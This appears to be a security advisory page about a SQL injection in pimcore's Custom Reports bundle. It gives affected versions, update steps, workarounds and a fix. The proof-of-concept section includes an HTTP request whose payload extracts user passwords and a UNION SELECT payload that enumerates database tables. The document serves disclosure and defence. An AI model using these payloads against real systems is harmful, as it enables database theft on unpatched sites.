- Package
- pimcore/pimcore
- Fixed in
- 2026.1.6, 12.3.10, 11.5.19
- Published
- Thu 10 Sep 2026, 20:25 LisbonUpdated Sun 25 Oct 2026, 22:25 Lisbon
- Installs on Packagist
- 4M
In plain words
An authenticated attacker with reports_config permission can run arbitrary SQL through the Custom Reports SQL adapter by supplying malicious report configuration. This can let them read, modify or delete all data in the database.
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| pimcore/pimcore | >= 2026.1.0, <= 2026.1.5 | 2026.1.6 |
| pimcore/pimcore | >= 12.0.0-RC1, <= 12.3.9 | 12.3.10 |
| pimcore/pimcore | < 11.5.18 | 11.5.19 |
Am I affected?
Check the pimcore/pimcore version in composer.lock: affected versions are 2026.1.0 through 2026.1.5 inclusive, 12.0.0-RC1 through 12.3.9 inclusive, and versions below 11.5.18. If affected, check whether your project uses the Custom Reports bundle's SQL adapter and which users have reports_config permission. The vulnerable report configuration fields are sql, from, where and groupby. Fixed versions are 2026.1.6, 12.3.10 and 11.5.19.
What to do
Check which version you have, then update to a fixed release for your branch (2026.1.6, 12.3.10, 11.5.19):
composer show pimcore/pimcore | grep versions
composer update pimcore/pimcore
If your version constraint in composer.json keeps you below a fixed release, raise it first. Whether your configuration is affected, and the exact version ranges, are in the advisory itself.
If you cannot update yet
Restrict reports_config permission to highly trusted administrators only. Deploy a WAF rule blocking requests to /admin/bundle/customreports/custom-report/update that contain SQL keywords in the configuration parameter. Replace the custom SQL adapter with a parameterised query builder approach.
The advisory's description
Security Advisory: SQL Injection in Custom Reports via Malicious Report Configuration
Summary
Impact
A SQL injection vulnerability exists in the Custom Reports bundle (bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php:84-135). An authenticated attacker with reports_config permission can inject arbitrary SQL via the report configuration fields (sql, from, where, groupby), which are directly concatenated into SQL queries without parameterization. The only protection is a regex blacklist that checks for ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE keywords, which is trivially bypassable — it does not block INSERT, UNION SELECT, LOAD_FILE(), INTO OUTFILE, stacked queries, subqueries, or MySQL comment injection (/*!*/). Exploitation allows reading, modifying, or deleting all data in the database, leading to complete data compromise.
Additionally, the LIMIT clause at line 51 directly interpolates $offset and $limit without integer casting, creating a secondary injection point.
Patches
Versions 2026.1.6, 12.3.10, 11.5.19.
Workarounds
- Restrict
reports_configpermission to only highly trusted administrators - Deploy a WAF rule to block requests to
/admin/bundle/customreports/custom-report/updatecontaining SQL keywords in theconfigurationparameter - Replace the custom SQL adapter with a parameterized query builder approach
Attack Path (Validation Evidence)
[Entry Point] POST /admin/bundle/customreports/custom-report/update HTTP/1.1
↓ (requires reports_config permission + valid admin session)
[Controller] CustomReportController::updateAction()
↓ $configuration = decodeJson($request->request->getString('configuration'))
[Config Store] Configuration saved to custom_reports database table
[Config Load] Tool\Config::getByName() loads stdClass $config from DB
↓
[Adapter] Sql::getBaseQuery() → Sql::buildQueryString($config)
↓ Directly concatenates config fields:
[Vulnerable] $sql .= "\n" . $config['sql']; // Line 92
$sql .= "\n" . $config['from']; // Line 103
$sql .= "\n" . 'WHERE (' . $config['where'] . ')'; // Line 110
$sql .= "\n" . $config['groupby']; // Line 117
[Weak Guard] preg_match('/(ALTER|CREATE|DROP|RENAME|TRUNCATE|UPDATE|DELETE)\s/i', ...)
↓ ✗ Bypassable — missing INSERT, UNION, SELECT, subqueries, comments
[Execution] $db->fetchAllAssociative($sql); // Line 54
↓
[Impact] Arbitrary SQL execution — full database compromise
Taint Flow (Validation Evidence)
Source: $request->request->getString('configuration') (HTTP POST body, user-controlled)
↓ json_decode() → stdClass
[Store] Persistent in database (custom_reports table)
[Load] Config::getByName() → stdClass $config
↓ ✗ No sanitization (only bypassable regex blacklist)
[Sink] $db->fetchAllAssociative($concatenatedSql)
↓
Impact: Attacker-controlled SQL executed against the database
Proof of Concept
Steps
- Authenticate as an admin user with
reports_configpermission - Send a report update request with malicious SQL in the configuration:
Request
POST /admin/bundle/customreports/custom-report/update HTTP/1.1
Host: <target-host>
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid_admin_session>
name=malicious_report&configuration=%7B%22sql%22%3A%22SELECT%20id%2C%20username%2C%20password%20FROM%20users%22%2C%22from%22%3A%22users%22%2C%22where%22%3A%221%3D1%22%2C%22groupby%22%3A%22%22%2C%22dataSourceConfig%22%3A%7B%7D%7D
- Access the report data endpoint to retrieve extracted user credentials
- Alternatively, the
wherefield can be set to:
to enumerate all database tables1=1 UNION SELECT TABLE_NAME, TABLE_SCHEMA, 1 FROM INFORMATION_SCHEMA.TABLES
Expected Result
The custom report returns rows from arbitrary tables beyond what was intended, proving successful SQL injection.
Affected Component
- File:
bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php - Method:
buildQueryString()(lines 84-135),getBaseQuery()(lines 137-216),getData()(lines 25-58) - Class:
Pimcore\Bundle\CustomReportsBundle\Tool\Adapter\Sql
Fix Recommendation
Replace the custom SQL concatenation approach with a parameterized query builder:
// Instead of:
$sql .= "\n" . $config['sql'];
$sql .= "\n" . $config['from'];
$sql .= "\n" . 'WHERE (' . $config['where'] . ')';
// Use a whitelist-based approach:
// 1. Only allow predefined table names from a whitelist
// 2. Use Doctrine QueryBuilder for WHERE conditions
// 3. Use parameterized queries for all user-supplied values
// 4. Cast LIMIT/OFFSET to integers
$sql .= ' LIMIT ' . (int)$offset . ',' . (int)$limit;
Resources
Weakness: CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'). Reported by EclipsSec.
The advisory
- GitHub Advisory Database: GHSA-23rh-xw42-fq82, with who is affected and how
- OSV.dev: GHSA-23rh-xw42-fq82
- The week's digest, with the other advisories from 7 Sep 2026
- All advisories for pimcore/pimcore